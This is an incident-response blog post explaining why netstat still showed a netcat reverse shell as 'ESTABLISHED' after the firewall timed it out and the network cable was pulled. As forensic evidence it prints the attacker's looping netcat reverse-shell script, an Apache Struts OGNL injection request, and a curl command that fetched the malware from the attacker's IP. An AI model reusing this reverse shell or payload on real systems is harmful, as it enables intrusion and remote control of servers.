During a recent investigation, SpiderLabs was presented with evidence that appeared to be contradictory. Evidence from firewall logs and remediation actions taken by the client did not tally with the evidence collected from the compromised system. This blog post discusses how SpiderLabs investigators analysed systems to explain this.
SpiderLabs was engaged following the discovery of malicious software and unusual activity on an organisation's systems. Upon discovering the breach on August 16, the client pulled the network cable from the system to stop the hackers and contain the compromise. No changes were made to the system and SpiderLabs first responders were dispatched to perform forensic data collection.
As the compromised system had been left running without modification, it was possible to collect precious live data, including active network connections and processes. The output of the 'netstat –na' command, run on August 20, showed an active connection made by a reverse shell to an attacker's IP - 300.300.300.300:
#netstat –na
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.10.10.10:35317 300.300.300.300:443 ESTABLISHED
This connection was suspicious and led the investigators to dig deeper. The 'ps auxwww' shows the active processes running on a system, and in this case the source of the connection was Netcat (nc):
#ps auxwww
USER PID %CPU %MEM STAT START TIME COMMAND
user 19679 0.0 0.0 S Jul25 0:00 nc 300.300.300.300 443
Searching for the origin of the source of this command led back to a file called /tmp/dns. The full contents of which were:
#!/bin/sh
cd /tmp
while true;do
rm backpipe
mknod backpipe p
nc 300.300.300.300 443 0<backpipe | /bin/bash 1>backpipe
sleep 30
done
This evidence all pointed to the fact that an active reverse shell was active at the time of investigation. However, the server had its network cable disconnected three days before SpiderLabs were called onsite. How could the reverse shell still be active if there was no network connection?
Investigation of the server logs showed the reverse shell script being introduced to the system using a known Apache Struts exploit. Below is an abridged log record of a request to the apache instance running on the server:
Jul 25 09:25:06: 300.300.300.300 "GET /signin.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'curl',300.300.300.300/ht/dns','-o','/tmp/dns'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()} HTTP/1.1"
This log record shows the exploit being used to download malware onto the system by running the following command:
curl 300.300.300.300/ht/dns –o /tmp/dns
This request is shortly followed by a second request to execute the malware.
Within seconds of the malware being downloaded, an outbound connection to the attacker's IP is established. A line in the Firewall logs shows this:
Jul 25 2013 09:25:17: %ASA-6-302013: Built outbound TCP connection 2415307046 for Outside:300.300.300.300/443 (300.300.300.300/443) to D2_DMZ2:server_name/35317
Evidence shows the connection timing out after 4 hours:
Jul 25 2013 14:03:57: %ASA-6-302014: Teardown TCP connection 2415307046 for Outside:300.300.300.300/443 to D2_DMZ2:server_name/35317 duration 4:38:42 bytes 6987 Connection timeout
How can a connection be reported by the operating system as active when the stateful firewall has closed the connection and the network cable been removed? The answer came from understanding the characteristics of the Netcat program used by the attacker.
Netcat is often referred to as the "TCP/IP Swiss Army Knife." It is a command that gives the user a great deal of control over the way in which connections are made and maintained. By default, when Netcat sets up a TCP connection there is no timeout and no testing to ensure that a connection is being maintained. After a TCP connection is created, Netcat will dutifully and reliably sit and wait to be provided some data to communicate across the connection. If no data arrives it will wait forever.
This is exactly what had occurred in this case. A connection was made to the attacker's address. After some time with no data communication, the firewall decided that the connection was no longer being used and tore down the hole punched through the firewall. The firewall, however, didn't inform Netcat. Netcat remained listening for data that would never materialise, as the firewall would not let it through. Netcat was waiting even a month later.
When we see the output from netstat stating that a connection is "Established", we often interpret this to mean an active connection is present. However, this evidence shows us that an "Established" connection is not necessarily an "Active" connection. This distinction can be extremely important in forensic investigations. SpiderLabs was able to show that the attacker was using the reverse shell for a maximum of four hours and 39 minutes instead of for close to a month between the time the shell was placed and the network cable pulled.
